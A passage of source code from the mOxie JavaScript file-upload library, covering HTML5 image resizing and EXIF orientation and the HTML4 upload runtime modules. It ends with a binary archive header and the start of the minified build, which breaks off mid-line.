					data: me.getAsBinaryString.call(this, type, quality)
				});
			},

			getAsDataURL: function(type) {
				var quality = arguments[1] || 90;

				// if image has not been modified, return the source right away
				if (!_modified) {
					return _img.src;
				}

				if ('image/jpeg' !== type) {
					return _canvas.toDataURL('image/png');
				} else {
					try {
						// older Geckos used to result in an exception on quality argument
						return _canvas.toDataURL('image/jpeg', quality/100);
					} catch (ex) {
						return _canvas.toDataURL('image/jpeg');
					}
				}
			},

			getAsBinaryString: function(type, quality) {
				// if image has not been modified, return the source right away
				if (!_modified) {
					// if image was not loaded from binary string
					if (!_binStr) {
						_binStr = _toBinary(me.getAsDataURL(type, quality));
					}
					return _binStr;
				}

				if ('image/jpeg' !== type) {
					_binStr = _toBinary(me.getAsDataURL(type, quality));
				} else {
					var dataUrl;

					// if jpeg
					if (!quality) {
						quality = 90;
					}

					try {
						// older Geckos used to result in an exception on quality argument
						dataUrl = _canvas.toDataURL('image/jpeg', quality/100);
					} catch (ex) {
						dataUrl = _canvas.toDataURL('image/jpeg');
					}

					_binStr = _toBinary(dataUrl);

					if (_imgInfo) {
						_binStr = _imgInfo.stripHeaders(_binStr);

						if (_preserveHeaders) {
							// update dimensions info in exif
							if (_imgInfo.meta && _imgInfo.meta.exif) {
								_imgInfo.setExif({
									PixelXDimension: this.width,
									PixelYDimension: this.height
								});
							}

							// re-inject the headers
							_binStr = _imgInfo.writeHeaders(_binStr);
						}

						// will be re-created from fresh on next getInfo call
						_imgInfo.purge();
						_imgInfo = null;
					}
				}

				_modified = false;

				return _binStr;
			},

			destroy: function() {
				me = null;
				_purge.call(this);
				this.getRuntime().getShim().removeInstance(this.uid);
			}
		});


		function _getImg() {
			if (!_canvas && !_img) {
				throw new x.ImageError(x.DOMException.INVALID_STATE_ERR);
			}
			return _canvas || _img;
		}


		function _toBinary(str) {
			return Encode.atob(str.substring(str.indexOf('base64,') + 7));
		}


		function _toDataUrl(str, type) {
			return 'data:' + (type || '') + ';base64,' + Encode.btoa(str);
		}


		function _preload(str) {
			var comp = this;

			_img = new Image();
			_img.onerror = function() {
				_purge.call(this);
				comp.trigger('error', x.ImageError.WRONG_FORMAT);
			};
			_img.onload = function() {
				comp.trigger('load');
			};

			_img.src = str.substr(0, 5) == 'data:' ? str : _toDataUrl(str, _blob.type);
		}


		function _readAsDataUrl(file, callback) {
			var comp = this, fr;

			// use FileReader if it's available
			if (window.FileReader) {
				fr = new FileReader();
				fr.onload = function() {
					callback(this.result);
				};
				fr.onerror = function() {
					comp.trigger('error', x.ImageError.WRONG_FORMAT);
				};
				fr.readAsDataURL(file);
			} else {
				return callback(file.getAsDataURL());
			}
		}

		function _downsize(width, height, crop, preserveHeaders) {
			var self = this
			, scale
			, mathFn
			, x = 0
			, y = 0
			, img
			, destWidth
			, destHeight
			, orientation
			;

			_preserveHeaders = preserveHeaders; // we will need to check this on export (see getAsBinaryString())

			// take into account orientation tag
			orientation = (this.meta && this.meta.tiff && this.meta.tiff.Orientation) || 1;

			if (Basic.inArray(orientation, [5,6,7,8]) !== -1) { // values that require 90 degree rotation
				// swap dimensions
				var tmp = width;
				width = height;
				height = tmp;
			}

			img = _getImg();

			// unify dimensions
			if (!crop) {
				scale = Math.min(width/img.width, height/img.height);
			} else {
				// one of the dimensions may exceed the actual image dimensions - we need to take the smallest value
				width = Math.min(width, img.width);
				height = Math.min(height, img.height);

				scale = Math.max(width/img.width, height/img.height);
			}
		
			// we only downsize here
			if (scale > 1 && !crop && preserveHeaders) {
				this.trigger('Resize');
				return;
			}

			// prepare canvas if necessary
			if (!_canvas) {
				_canvas = document.createElement("canvas");
			}

			// calculate dimensions of proportionally resized image
			destWidth = Math.round(img.width * scale);	
			destHeight = Math.round(img.height * scale);

			// scale image and canvas
			if (crop) {
				_canvas.width = width;
				_canvas.height = height;

				// if dimensions of the resulting image still larger than canvas, center it
				if (destWidth > width) {
					x = Math.round((destWidth - width) / 2);
				}

				if (destHeight > height) {
					y = Math.round((destHeight - height) / 2);
				}
			} else {
				_canvas.width = destWidth;
				_canvas.height = destHeight;
			}

			// rotate if required, according to orientation tag
			if (!_preserveHeaders) {
				_rotateToOrientaion(_canvas.width, _canvas.height, orientation);
			}

			_drawToCanvas.call(this, img, _canvas, -x, -y, destWidth, destHeight);

			this.width = _canvas.width;
			this.height = _canvas.height;

			_modified = true;
			self.trigger('Resize');
		}


		function _drawToCanvas(img, canvas, x, y, w, h) {
			if (Env.OS === 'iOS') { 
				// avoid squish bug in iOS6
				MegaPixel.renderTo(img, canvas, { width: w, height: h, x: x, y: y });
			} else {
				var ctx = canvas.getContext('2d');
				ctx.drawImage(img, x, y, w, h);
			}
		}


		/**
		* Transform canvas coordination according to specified frame size and orientation
		* Orientation value is from EXIF tag
		* @author Shinichi Tomita <shinichi.tomita@gmail.com>
		*/
		function _rotateToOrientaion(width, height, orientation) {
			switch (orientation) {
				case 5:
				case 6:
				case 7:
				case 8:
					_canvas.width = height;
					_canvas.height = width;
					break;
				default:
					_canvas.width = width;
					_canvas.height = height;
			}

			/**
			1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
			2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
			3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
			4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
			5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
			6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
			7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
			8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
			*/

			var ctx = _canvas.getContext('2d');
			switch (orientation) {
				case 2:
					// horizontal flip
					ctx.translate(width, 0);
					ctx.scale(-1, 1);
					break;
				case 3:
					// 180 rotate left
					ctx.translate(width, height);
					ctx.rotate(Math.PI);
					break;
				case 4:
					// vertical flip
					ctx.translate(0, height);
					ctx.scale(1, -1);
					break;
				case 5:
					// vertical flip + 90 rotate right
					ctx.rotate(0.5 * Math.PI);
					ctx.scale(1, -1);
					break;
				case 6:
					// 90 rotate right
					ctx.rotate(0.5 * Math.PI);
					ctx.translate(0, -height);
					break;
				case 7:
					// horizontal flip + 90 rotate right
					ctx.rotate(0.5 * Math.PI);
					ctx.translate(width, -height);
					ctx.scale(-1, 1);
					break;
				case 8:
					// 90 rotate left
					ctx.rotate(-0.5 * Math.PI);
					ctx.translate(-width, 0);
					break;
			}
		}


		function _purge() {
			if (_imgInfo) {
				_imgInfo.purge();
				_imgInfo = null;
			}
			_binStr = _img = _canvas = _blob = null;
			_modified = false;
		}
	}

	return (extensions.Image = HTML5Image);
});

/**
 * Stub for moxie/runtime/flash/Runtime
 * @private
 */
define("moxie/runtime/flash/Runtime", [
], function() {
	return {};
});

/**
 * Stub for moxie/runtime/silverlight/Runtime
 * @private
 */
define("moxie/runtime/silverlight/Runtime", [
], function() {
	return {};
});

// Included from: src/javascript/runtime/html4/Runtime.js

/**
 * Runtime.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/*global File:true */

/**
Defines constructor for HTML4 runtime.

@class moxie/runtime/html4/Runtime
@private
*/
define("moxie/runtime/html4/Runtime", [
	"moxie/core/utils/Basic",
	"moxie/core/Exceptions",
	"moxie/runtime/Runtime",
	"moxie/core/utils/Env"
], function(Basic, x, Runtime, Env) {
	
	var type = 'html4', extensions = {};

	function Html4Runtime(options) {
		var I = this
		, Test = Runtime.capTest
		, True = Runtime.capTrue
		;

		Runtime.call(this, options, type, {
			access_binary: Test(window.FileReader || window.File && File.getAsDataURL),
			access_image_binary: false,
			display_media: Test(extensions.Image && (Env.can('create_canvas') || Env.can('use_data_uri_over32kb'))),
			do_cors: false,
			drag_and_drop: false,
			filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
				return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || 
					(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || 
					(Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
			}()),
			resize_image: function() {
				return extensions.Image && I.can('access_binary') && Env.can('create_canvas');
			},
			report_upload_progress: false,
			return_response_headers: false,
			return_response_type: function(responseType) {
				if (responseType === 'json' && !!window.JSON) {
					return true;
				} 
				return !!~Basic.inArray(responseType, ['text', 'document', '']);
			},
			return_status_code: function(code) {
				return !Basic.arrayDiff(code, [200, 404]);
			},
			select_file: function() {
				return Env.can('use_fileinput');
			},
			select_multiple: false,
			send_binary_string: false,
			send_custom_headers: false,
			send_multipart: true,
			slice_blob: false,
			stream_upload: function() {
				return I.can('select_file');
			},
			summon_file_dialog: function() { // yeah... some dirty sniffing here...
				return I.can('select_file') && (
					(Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
					(Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
					(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
					!!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
				);
			},
			upload_filesize: True,
			use_http_method: function(methods) {
				return !Basic.arrayDiff(methods, ['GET', 'POST']);
			}
		});


		Basic.extend(this, {
			init : function() {
				this.trigger("Init");
			},

			destroy: (function(destroy) { // extend default destroy method
				return function() {
					destroy.call(I);
					destroy = I = null;
				};
			}(this.destroy))
		});

		Basic.extend(this.getShim(), extensions);
	}

	Runtime.addConstructor(type, Html4Runtime);

	return extensions;
});

// Included from: src/javascript/runtime/html4/file/FileInput.js

/**
 * FileInput.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html4/file/FileInput
@private
*/
define("moxie/runtime/html4/file/FileInput", [
	"moxie/runtime/html4/Runtime",
	"moxie/file/File",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/utils/Events",
	"moxie/core/utils/Mime",
	"moxie/core/utils/Env"
], function(extensions, File, Basic, Dom, Events, Mime, Env) {
	
	function FileInput() {
		var _uid, _mimes = [], _options;

		function addInput() {
			var comp = this, I = comp.getRuntime(), shimContainer, browseButton, currForm, form, input, uid;

			uid = Basic.guid('uid_');

			shimContainer = I.getShimContainer(); // we get new ref everytime to avoid memory leaks in IE

			if (_uid) { // move previous form out of the view
				currForm = Dom.get(_uid + '_form');
				if (currForm) {
					Basic.extend(currForm.style, { top: '100%' });
				}
			}

			// build form in DOM, since innerHTML version not able to submit file for some reason
			form = document.createElement('form');
			form.setAttribute('id', uid + '_form');
			form.setAttribute('method', 'post');
			form.setAttribute('enctype', 'multipart/form-data');
			form.setAttribute('encoding', 'multipart/form-data');

			Basic.extend(form.style, {
				overflow: 'hidden',
				position: 'absolute',
				top: 0,
				left: 0,
				width: '100%',
				height: '100%'
			});

			input = document.createElement('input');
			input.setAttribute('id', uid);
			input.setAttribute('type', 'file');
			input.setAttribute('name', _options.name || 'Filedata');
			input.setAttribute('accept', _mimes.join(','));

			Basic.extend(input.style, {
				fontSize: '999px',
				opacity: 0
			});

			form.appendChild(input);
			shimContainer.appendChild(form);

			// prepare file input to be placed underneath the browse_button element
			Basic.extend(input.style, {
				position: 'absolute',
				top: 0,
				left: 0,
				width: '100%',
				height: '100%'
			});

			if (Env.browser === 'IE' && Env.verComp(Env.version, 10, '<')) {
				Basic.extend(input.style, {
					filter : "progid:DXImageTransform.Microsoft.Alpha(opacity=0)"
				});
			}

			input.onchange = function() { // there should be only one handler for this
				var file;

				if (!this.value) {
					return;
				}

				if (this.files) { // check if browser is fresh enough
					file = this.files[0];

					// ignore empty files (IE10 for example hangs if you try to send them via XHR)
					if (file.size === 0) {
						form.parentNode.removeChild(form);
						return;
					}
				} else {
					file = {
						name: this.value
					};
				}

				file = new File(I.uid, file);

				// clear event handler
				this.onchange = function() {}; 
				addInput.call(comp); 

				comp.files = [file];

				// substitute all ids with file uids (consider file.uid read-only - we cannot do it the other way around)
				input.setAttribute('id', file.uid);
				form.setAttribute('id', file.uid + '_form');
				
				comp.trigger('change');

				input = form = null;
			};


			// route click event to the input
			if (I.can('summon_file_dialog')) {
				browseButton = Dom.get(_options.browse_button);
				Events.removeEvent(browseButton, 'click', comp.uid);
				Events.addEvent(browseButton, 'click', function(e) {
					if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
						input.click();
					}
					e.preventDefault();
				}, comp.uid);
			}

			_uid = uid;

			shimContainer = currForm = browseButton = null;
		}

		Basic.extend(this, {
			init: function(options) {
				var comp = this, I = comp.getRuntime(), shimContainer;

				// figure out accept string
				_options = options;
				_mimes = options.accept.mimes || Mime.extList2mimes(options.accept, I.can('filter_by_extension'));

				shimContainer = I.getShimContainer();

				(function() {
					var browseButton, zIndex, top;

					browseButton = Dom.get(options.browse_button);

					// Route click event to the input[type=file] element for browsers that support such behavior
					if (I.can('summon_file_dialog')) {
						if (Dom.getStyle(browseButton, 'position') === 'static') {
							browseButton.style.position = 'relative';
						}

						zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;

						browseButton.style.zIndex = zIndex;
						shimContainer.style.zIndex = zIndex - 1;
					}

					/* Since we have to place input[type=file] on top of the browse_button for some browsers,
					browse_button loses interactivity, so we restore it here */
					top = I.can('summon_file_dialog') ? browseButton : shimContainer;

					Events.addEvent(top, 'mouseover', function() {
						comp.trigger('mouseenter');
					}, comp.uid);

					Events.addEvent(top, 'mouseout', function() {
						comp.trigger('mouseleave');
					}, comp.uid);

					Events.addEvent(top, 'mousedown', function() {
						comp.trigger('mousedown');
					}, comp.uid);

					Events.addEvent(Dom.get(options.container), 'mouseup', function() {
						comp.trigger('mouseup');
					}, comp.uid);

					browseButton = null;
				}());

				addInput.call(this);

				shimContainer = null;

				// trigger ready event asynchronously
				comp.trigger({
					type: 'ready',
					async: true
				});
			},


			disable: function(state) {
				var input;

				if ((input = Dom.get(_uid))) {
					input.disabled = !!state;
				}
			},

			destroy: function() {
				var I = this.getRuntime()
				, shim = I.getShim()
				, shimContainer = I.getShimContainer()
				;
				
				Events.removeAllEvents(shimContainer, this.uid);
				Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
				Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
				
				if (shimContainer) {
					shimContainer.innerHTML = '';
				}

				shim.removeInstance(this.uid);

				_uid = _mimes = _options = shimContainer = shim = null;
			}
		});
	}

	return (extensions.FileInput = FileInput);
});

// Included from: src/javascript/runtime/html4/file/FileReader.js

/**
 * FileReader.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html4/file/FileReader
@private
*/
define("moxie/runtime/html4/file/FileReader", [
	"moxie/runtime/html4/Runtime",
	"moxie/runtime/html5/file/FileReader"
], function(extensions, FileReader) {
	return (extensions.FileReader = FileReader);
});

// Included from: src/javascript/runtime/html4/xhr/XMLHttpRequest.js

/**
 * XMLHttpRequest.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html4/xhr/XMLHttpRequest
@private
*/
define("moxie/runtime/html4/xhr/XMLHttpRequest", [
	"moxie/runtime/html4/Runtime",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/utils/Url",
	"moxie/core/Exceptions",
	"moxie/core/utils/Events",
	"moxie/file/Blob",
	"moxie/xhr/FormData"
], function(extensions, Basic, Dom, Url, x, Events, Blob, FormData) {
	
	function XMLHttpRequest() {
		var _status, _response, _iframe;

		function cleanup(cb) {
			var target = this, uid, form, inputs, i, hasFile = false;

			if (!_iframe) {
				return;
			}

			uid = _iframe.id.replace(/_iframe$/, '');

			form = Dom.get(uid + '_form');
			if (form) {
				inputs = form.getElementsByTagName('input');
				i = inputs.length;

				while (i--) {
					switch (inputs[i].getAttribute('type')) {
						case 'hidden':
							inputs[i].parentNode.removeChild(inputs[i]);
							break;
						case 'file':
							hasFile = true; // flag the case for later
							break;
					}
				}
				inputs = [];

				if (!hasFile) { // we need to keep the form for sake of possible retries
					form.parentNode.removeChild(form);
				}
				form = null;
			}

			// without timeout, request is marked as canceled (in console)
			setTimeout(function() {
				Events.removeEvent(_iframe, 'load', target.uid);
				if (_iframe.parentNode) { // #382
					_iframe.parentNode.removeChild(_iframe);
				}

				// check if shim container has any other children, if - not, remove it as well
				var shimContainer = target.getRuntime().getShimContainer();
				if (!shimContainer.children.length) {
					shimContainer.parentNode.removeChild(shimContainer);
				}

				shimContainer = _iframe = null;
				cb();
			}, 1);
		}

		Basic.extend(this, {
			send: function(meta, data) {
				var target = this, I = target.getRuntime(), uid, form, input, blob;

				_status = _response = null;

				function createIframe() {
					var container = I.getShimContainer() || document.body
					, temp = document.createElement('div')
					;

					// IE 6 won't be able to set the name using setAttribute or iframe.name
					temp.innerHTML = '<iframe id="' + uid + '_iframe" name="' + uid + '_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>';
					_iframe = temp.firstChild;
					container.appendChild(_iframe);

					/* _iframe.onreadystatechange = function() {
						console.info(_iframe.readyState);
					};*/

					Events.addEvent(_iframe, 'load', function() { // _iframe.onload doesn't work in IE lte 8
						var el;

						try {
							el = _iframe.contentWindow.document || _iframe.contentDocument || window.frames[_iframe.id].document;

							// try to detect some standard error pages
							if (/^4(0[0-9]|1[0-7]|2[2346])\s/.test(el.title)) { // test if title starts with 4xx HTTP error
								_status = el.title.replace(/^(\d+).*$/, '$1');
							} else {
								_status = 200;
								// get result
								_response = Basic.trim(el.body.innerHTML);

								// we need to fire these at least once
								target.trigger({
									type: 'progress',
									loaded: _response.length,
									total: _response.length
								});

								if (blob) { // if we were uploading a file
									target.trigger({
										type: 'uploadprogress',
										loaded: blob.size || 1025,
										total: blob.size || 1025
									});
								}
							}
						} catch (ex) {
							if (Url.hasSameOrigin(meta.url)) {
								// if response is sent with error code, iframe in IE gets redirected to res://ieframe.dll/http_x.htm
								// which obviously results to cross domain error (wtf?)
								_status = 404;
							} else {
								cleanup.call(target, function() {
									target.trigger('error');
								});
								return;
							}
						}	
					
						cleanup.call(target, function() {
							target.trigger('load');
						});
					}, target.uid);
				} // end createIframe

				// prepare data to be sent and convert if required
				if (data instanceof FormData && data.hasBlob()) {
					blob = data.getBlob();
					uid = blob.uid;
					input = Dom.get(uid);
					form = Dom.get(uid + '_form');
					if (!form) {
						throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
					}
				} else {
					uid = Basic.guid('uid_');

					form = document.createElement('form');
					form.setAttribute('id', uid + '_form');
					form.setAttribute('method', meta.method);
					form.setAttribute('enctype', 'multipart/form-data');
					form.setAttribute('encoding', 'multipart/form-data');

					I.getShimContainer().appendChild(form);
				}

				// set upload target
				form.setAttribute('target', uid + '_iframe');

				if (data instanceof FormData) {
					data.each(function(value, name) {
						if (value instanceof Blob) {
							if (input) {
								input.setAttribute('name', name);
							}
						} else {
							var hidden = document.createElement('input');

							Basic.extend(hidden, {
								type : 'hidden',
								name : name,
								value : value
							});

							// make sure that input[type="file"], if it's there, comes last
							if (input) {
								form.insertBefore(hidden, input);
							} else {
								form.appendChild(hidden);
							}
						}
					});
				}

				// set destination url
				form.setAttribute("action", meta.url);

				createIframe();
				form.submit();
				target.trigger('loadstart');
			},

			getStatus: function() {
				return _status;
			},

			getResponse: function(responseType) {
				if ('json' === responseType) {
					// strip off <pre>..</pre> tags that might be enclosing the response
					if (Basic.typeOf(_response) === 'string' && !!window.JSON) {
						try {
							return JSON.parse(_response.replace(/^\s*<pre[^>]*>/, '').replace(/<\/pre>\s*$/, ''));
						} catch (ex) {
							return null;
						}
					} 
				} else if ('document' === responseType) {

				}
				return _response;
			},

			abort: function() {
				var target = this;

				if (_iframe && _iframe.contentWindow) {
					if (_iframe.contentWindow.stop) { // FireFox/Safari/Chrome
						_iframe.contentWindow.stop();
					} else if (_iframe.contentWindow.document.execCommand) { // IE
						_iframe.contentWindow.document.execCommand('Stop');
					} else {
						_iframe.src = "about:blank";
					}
				}

				cleanup.call(this, function() {
					// target.dispatchEvent('readystatechange');
					target.dispatchEvent('abort');
				});
			}
		});
	}

	return (extensions.XMLHttpRequest = XMLHttpRequest);
});

// Included from: src/javascript/runtime/html4/image/Image.js

/**
 * Image.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html4/image/Image
@private
*/
define("moxie/runtime/html4/image/Image", [
	"moxie/runtime/html4/Runtime",
	"moxie/runtime/html5/image/Image"
], function(extensions, Image) {
	return (extensions.Image = Image);
});

expose(["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"]);
})(this);
/**
 * o.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/*global moxie:true */

/**
Globally exposed namespace with the most frequently used public classes and handy methods.

@class o
@static
@private
*/
(function(exports) {
	"use strict";

	var o = {}, inArray = exports.moxie.core.utils.Basic.inArray;

	// directly add some public classes
	// (we do it dynamically here, since for custom builds we cannot know beforehand what modules were included)
	(function addAlias(ns) {
		var name, itemType;
		for (name in ns) {
			itemType = typeof(ns[name]);
			if (itemType === 'object' && !~inArray(name, ['Exceptions', 'Env', 'Mime'])) {
				addAlias(ns[name]);
			} else if (itemType === 'function') {
				o[name] = ns[name];
			}
		}
	})(exports.moxie);

	// add some manually
	o.Env = exports.moxie.core.utils.Env;
	o.Mime = exports.moxie.core.utils.Mime;
	o.Exceptions = exports.moxie.core.Exceptions;

	// expose globally
	exports.mOxie = o;
	if (!exports.o) {
		exports.o = o;
	}
	return o;
})(this);
PKYd[T��ubUbUmoxie.min.jsnu�[���var MXI_DEBUG=!1;!function(o,x){"use strict";var s={};function n(e,t){for(var i,n=[],r=0;r<e.length;++r){if(!(i=s[e[r]]||function(e){for(var t=o,i=e.split(/[.\/]/),n=0;n<i.length;++n){if(!t[i[n]])return;t=t[i[n]]}return t}(e[r])))throw"module definition dependecy not found: "+e[r];n.push(i)}t.apply(null,n)}function e(e,t,i){if("string"!=typeof e)throw"invalid module definition, module id must be defined and be a string";if(t===x)throw"invalid module definition, dependencies must be specified";if(i===x)throw"invalid module definition, definition function must be specified";n(t,function(){s[e]=i.apply(null,arguments)})}e("moxie/core/utils/Basic",[],function(){function n(i){return s(arguments,function(e,t){0<t&&s(e,function(e,t){void 0!==e&&(o(i[t])===o(e)&&~r(o(e),["array","object"])?n(i[t],e):i[t]=e)})}),i}function s(e,t){var i,n,r;if(e)if("number"===o(e.length)){for(r=0,i=e.length;r<i;r++)if(!1===t(e[r],r))return}else if("object"===o(e))for(n in e)if(e.hasOwnProperty(n)&&!1===t(e[n],n))return}function r(e,t){if(t){if(Array.prototype.indexOf)return Array.prototype.indexOf.call(t,e);for(var i=0,n=t.length;i<n;i++)if(t[i]===e)return i}return-1}var o=function(e){return void 0===e?"undefined":null===e?"null":e.nodeType?"node":{}.toString.call(e).match(/\s([a-z|A-Z]+)/)[1].toLowerCase()};a=0;var a;return{guid:function(e){for(var t=(new Date).getTime().toString(32),i=0;i<5;i++)t+=Math.floor(65535*Math.random()).toString(32);return(e||"o_")+t+(a++).toString(32)},typeOf:o,extend:n,each:s,isEmptyObj:function(e){if(e&&"object"===o(e))for(var t in e)return!1;return!0},inSeries:function(e,n){var r=e.length;"function"!==o(n)&&(n=function(){}),e&&e.length||n(),function t(i){"function"===o(e[i])&&e[i](function(e){++i<r&&!e?t(i):n(e)})}(0)},inParallel:function(e,i){var n=0,r=e.length,o=new Array(r);s(e,function(e,t){e(function(e){if(e)return i(e);e=[].slice.call(arguments);e.shift(),o[t]=e,++n===r&&(o.unshift(null),i.apply(this,o))})})},inArray:r,arrayDiff:function(e,t){var i,n=[];for(i in"array"!==o(e)&&(e=[e]),"array"!==o(t)&&(t=[t]),e)-1===r(e[i],t)&&n.push(e[i]);return!!n.length&&n},arrayIntersect:function(e,t){var i=[];return s(e,function(e){-1!==r(e,t)&&i.push(e)}),i.length?i:null},toArray:function(e){for(var t=[],i=0;i<e.length;i++)t[i]=e[i];return t},trim:function(e){return e&&(String.prototype.trim?String.prototype.trim.call(e):e.toString().replace(/^\s*/,"").replace(/\s*$/,""))},sprintf:function(e){var t=[].slice.call(arguments,1);return e.replace(/%[a-z]/g,function(){var e=t.shift();return"undefined"!==o(e)?e:""})},parseSizeStr:function(e){var t,i;return"string"!=typeof e?e:(t={t:1099511627776,g:1073741824,m:1048576,k:1024},i=(e=/^([0-9\.]+)([tmgk]?)$/.exec(e.toLowerCase().replace(/[^0-9\.tmkg]/g,"")))[2],e=+e[1],t.hasOwnProperty(i)&&(e*=t[i]),Math.floor(e))}}}),e("moxie/core/utils/Env",["moxie/core/utils/Basic"],function(n){m="function",h="object",r=function(e,t){return-1!==t.toLowerCase().indexOf(e.toLowerCase())},o={browser:[[/(opera\smini)\/([\w\.-]+)/i,/(opera\s[mobiletab]+).+version\/([\w\.-]+)/i,/(opera).+version\/([\w\.]+)/i,/(opera)[\/\s]+([\w\.]+)/i],[a="name",c="version"],[/\s(opr)\/([\w\.]+)/i],[[a,"Opera"],c],[/(kindle)\/([\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,/(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,/(?:ms|\()(ie)\s([\w\.]+)/i,/(rekonq)\/([\w\.]+)*/i,/(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i],[a,c],[/(trident).+rv[:\s]([\w\.]+).+like\sgecko/i],[[a,"IE"],c],[/(edge)\/((\d+)?[\w\.]+)/i],[a,c],[/(yabrowser)\/([\w\.]+)/i],[[a,"Yandex"],c],[/(comodo_dragon)\/([\w\.]+)/i],[[a,/_/g," "],c],[/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,/(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i],[a,c],[/(dolfin)\/([\w\.]+)/i],[[a,"Dolphin"],c],[/((?:android.+)crmo|crios)\/([\w\.]+)/i],[[a,"Chrome"],c],[/XiaoMi\/MiuiBrowser\/([\w\.]+)/i],[c,[a,"MIUI Browser"]],[/android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i],[c,[a,"Android Browser"]],[/FBAV\/([\w\.]+);/i],[c,[a,"Facebook"]],[/version\/([\w\.]+).+?mobile\/\w+\s(safari)/i],[c,[a,"Mobile Safari"]],[/version\/([\w\.]+).+?(mobile\s?safari|safari)/i],[c,a],[/webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i],[a,[c,(i={rgx:function(){for(var e,t,i,n,r,o,s,a=0,u=arguments;a<u.length;a+=2){var c=u[a],l=u[a+1];if(void 0===e)for(n in e={},l)typeof(r=l[n])==h?e[r[0]]=d:e[r]=d;for(t=i=0;t<c.length;t++)if(o=c[t].exec(this.getUA())){for(n=0;n<l.length;n++)s=o[++i],typeof(r=l[n])==h&&0<r.length?2==r.length?typeof r[1]==m?e[r[0]]=r[1].call(this,s):e[r[0]]=r[1]:3==r.length?typeof r[1]!=m||r[1].exec&&r[1].test?e[r[0]]=s?s.replace(r[1],r[2]):d:e[r[0]]=s?r[1].call(this,s,r[2]):d:4==r.length&&(e[r[0]]=s?r[3].call(this,s.replace(r[1],r[2])):d):e[r]=s||d;break}if(o)break}return e},str:function(e,t){for(var i in t)if(typeof t[i]==h&&0<t[i].length){for(var n=0;n<t[i].length;n++)if(r(t[i][n],e))return"?"===i?d:i}else if(r(t[i],e))return"?"===i?d:i;return e}}).str,(e={browser:{oldsafari:{major:{1:["/8","/1","/3"],2:"/4","?":"/"},version:{"1.0":"/8",1.2:"/1",1.3:"/3","2.0":"/412","2.0.2":"/416","2.0.3":"/417","2.0.4":"/419","?":"/"}}},device:{sprint:{model:{"Evo Shift 4G":"7373KT"},vendor:{HTC:"APA",Sprint:"Sprint"}}},os:{windows:{version:{ME:"4.90","NT 3.11":"NT3.51","NT 4.0":"NT4.0",2e3:"NT 5.0",XP:["NT 5.1","NT 5.2"],Vista:"NT 6.0",7:"NT 6.1",8:"NT 6.2",8.1:"NT 